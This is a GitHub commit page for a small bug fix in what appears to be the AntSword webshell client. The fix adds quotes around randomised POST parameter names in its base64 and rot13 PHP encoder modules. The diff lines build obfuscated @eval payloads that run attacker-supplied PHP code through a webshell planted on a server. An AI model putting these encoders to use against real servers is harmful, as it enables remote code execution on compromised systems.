Skip to content

Commit

Permalink
Merge pull request #278 from yzddmr6/v2.1.x
Browse files Browse the repository at this point in the history
变量名添加引号,解决随机变量名为php关键字时出现BUG
  • Loading branch information
Medicean authored Mar 24, 2021
2 parents 773ae50 + ac6725b commit b226074
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 2 deletions.
2 changes: 1 addition & 1 deletion source/core/php/encoder/base64.js
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ module.exports = (pwd, data, ext = null) => {
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
delete data['_'];
return data;
}
2 changes: 1 addition & 1 deletion source/core/php/encoder/rot13.js
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ module.exports = (pwd, data, ext = null) => {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = encode(data['_']);
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
data[pwd] = `@eval(@str_rot13($_POST['${randomID}']));`;
delete data['_'];
return data;
}

0 comments on commit b226074

Please sign in to comment.